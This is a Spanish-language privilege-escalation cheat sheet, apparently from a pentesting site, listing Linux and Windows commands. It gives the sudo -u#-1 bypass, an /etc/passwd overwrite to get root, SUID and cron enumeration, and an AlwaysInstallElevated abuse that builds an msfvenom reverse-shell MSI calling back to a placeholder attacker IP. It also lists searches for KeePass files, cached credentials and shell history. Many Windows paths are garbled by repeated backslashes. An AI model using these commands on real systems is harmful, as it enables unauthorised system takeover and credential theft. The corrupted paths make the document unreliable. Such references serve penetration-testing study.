xerosec
Buscar
K

Escalada de privilegios

Linux

Recursos

Vectores de escalada sencillos

Usuario con credenciales válidas (sudo -l):
  • Ejecutar sudo -l para ver qué binarios se pueden ejecutar con sudo, consultar GTFOBins
  • Ejecutar sudo -V para obtener la versión, si es inferior a 1.28, se puede usar sudo -u#-1 /bin/bash
Binarios SUID:
  • Ejecutar find / -perm -u=s -type f 2>/dev/null
  • Ejecutar find / -perm -4000 2>/dev/null
  • Consultar GTFOBins
Exploits de Kernel:
/etc/passwd con permisos de escritura:
  • Ejecutar ls -la /etc/passwd para ver si se tienen permisos de escritura
  • Ejecutar openssl passwd -1 -salt hacker hacker y reemplazar la entrada de contraseña de root (o eliminar x)
  • Ejecutar su root hacker

Checklist

  • Tratamiento de la TTY si la shell ****si no es interactiva:
    • Ejecutar python -c 'import pty;pty.spawn("/bin/bash")'
    • Ejecutar python -c 'import pty;pty.spawn("/bin/sh")'
    • Ejecutar python3 -c 'import pty;pty.spawn("/bin/bash")'
    • Ejecutar python3 -c 'import pty;pty.spawn("/bin/sh")'
    • Alternativa más completa y estable:
      script /dev/null -c bash # Lanza pseudoconsola
      [ctrl+z] # Suspende la shell actual
      stty raw -echo
      fg # Recupera la shell suspendida
      reset # Reinicia la configuración de la terminal
      xterm # Especifica el tipo de terminal
      export TERM=xterm # Asigna xterm a la variable TERM
      export SHELL=bash # Asigna bash a la variable SHELL
      stty rows <VALOR_FILAS> columns <VALOR_COLUMNAS>
  • Obtener contexto del sistema usuario actual, nombre de host, grupos
    • Ejecutar whoami id hostname
  • Obtener versión del kernel y buscar vulnerabilidades
    • Ejecutar uname -a && searchsploit
  • Verificar sudo (contraseña válida)
    • Ejecutar sudo -l sudo -V (por debajo de 1.28 sudo -u#-1 /bin/bash)
  • Verificar binarios SUID
    • Ejecutar find / -perm -u=s -type f 2>/dev/null
    • Ejecutar find / -perm -4000 2>/dev/null
  • Verificar usuarios y /etc/passwd con permisos de escritura
    • Ejecutar ls -la /etc/passwd / cat /etc/passwd
  • Verificar entorno
    • Ejecutar echo $PATH / (env || set) 2>/dev/null / history / cat ~/.bashrc
  • Verificar procesos
    • Ejecutar ps aux / ps -ef / watch -n 1 "ps -aux | grep pass"
  • Verificar cronjobs
    • Ejecutar ls -lah /etc/cron* / cat /var/log/syslog | grep cron / cat /var/log/cron.log
    • Ejecutar grep "CRON" /var/log/syslog / ls -la /etc/cron.d / ls -la /etc/cron.hourly
  • Verificar archivos escribibles/utilizables y permisos de archivos
    • Ejecutar find / -writable -type d 2>/dev/null
    • Ejecutar find / -perm -u=s -type f 2>/dev/null
    • Ejecutar ls -la
  • Verificar redes y servicios en ejecución en localhost
    • Ejecutar ip a / netstat / ss -natup

Herramientas automatizadas

Windows

Recursos

Vectores de escalada sencillos

Abuso de Tokens
Verificar Registro AlwaysInstallElevated
  • Ejecutar reg query HKCU\\\\\\\\SOFTWARE\\\\\\\\Policies\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Installer /v AlwaysInstallElevated si devuelve 0x1, crear un MSI que se ejecutará como SYSTEM
  • Ejecutar msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP_ATACANTE LPORT=PUERTO_LOCAL -f msi -o evil.msi
  • Ejecutar msiexec /quiet /qn /i C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\malicious.msi
Credenciales en caché
  • Ejecutar cmdkey /list
Historial de PowerShell
  • Ejecutar Get-History
  • Ejecutar (Get-PSReadlineOption).HistorySavePath
  • Ejecutar type %userprofile%\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\PowerShell\\\\\\\\PSReadline\\\\\\\\ConsoleHost_history.txt

Cheat Sheet

  • Obtener contexto, usuarios y grupos
    • Ejecutar whoami net user net group whoami /groups
  • Verificar tokens/privilegios
    • Ejecutar whoami /priv >> SeImpersonatePrivilege
  • Verificar claves de registro
    • Ejecutar reg query HKCU\\\\\\\\SOFTWARE\\\\\\\\Policies\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Installer /v AlwaysInstallElevated >> 0x1
  • Verificar credenciales en caché
    • Ejecutar cmdkey /list
  • Verificar historial de PowerShell
    • Ejecutar (Get-PSReadlineOption).HistorySavePath
  • Verificar servicios en ejecución en busca de ubicaciones sin comillas o no predeterminadas
    • Ejecutar Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
  • Verificar archivos binarios no predeterminados buscando archivos .dll (como archivos de registro también)
    • Ejecutar C:\\\\\\\\TEMP\\\\\\\\??? C:\\\\\\\\Users\\\\\\\\user\\\\\\\\??? C:\\\\\\\\backup\\\\\\\\??? etc
  • Verificar archivos útiles en el directorio del usuario
    • Ejecutar Get-ChildItem -Path C:\\\\\\\\Users\\\\\\\\ -Include *.txt -File -Recurse -ErrorAction SilentlyContinue
    • .log .kdbx .xml cualquier archivo extraño en el directorio del usuario
  • Verificar tareas programadas ejecutadas por niveles superiores
    • Ejecutar Get-ScheduledTask schtasks /query schtasks /query /fo LIST /v
  • Verificar archivos de base de datos de contraseñas
    • Ejecutar Get-ChildItem -Path C:\\\\\\\\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
  • Verificar archivos de configuración
    • Ejecutar Get-ChildItem -Path C:\\\\\\\\ -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
  • Verificar paquetes instalados
    • Ejecutar Get-ItemProperty "HKLM:\\\\\\\\SOFTWARE\\\\\\\\Wow6432Node\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Uninstall\\\\\\\\*" | select displayname
    • Ejecutar Get-ItemProperty "HKLM:\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Uninstall\\\\\\\\*" | select displayname

Herramientas automatizadas

⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯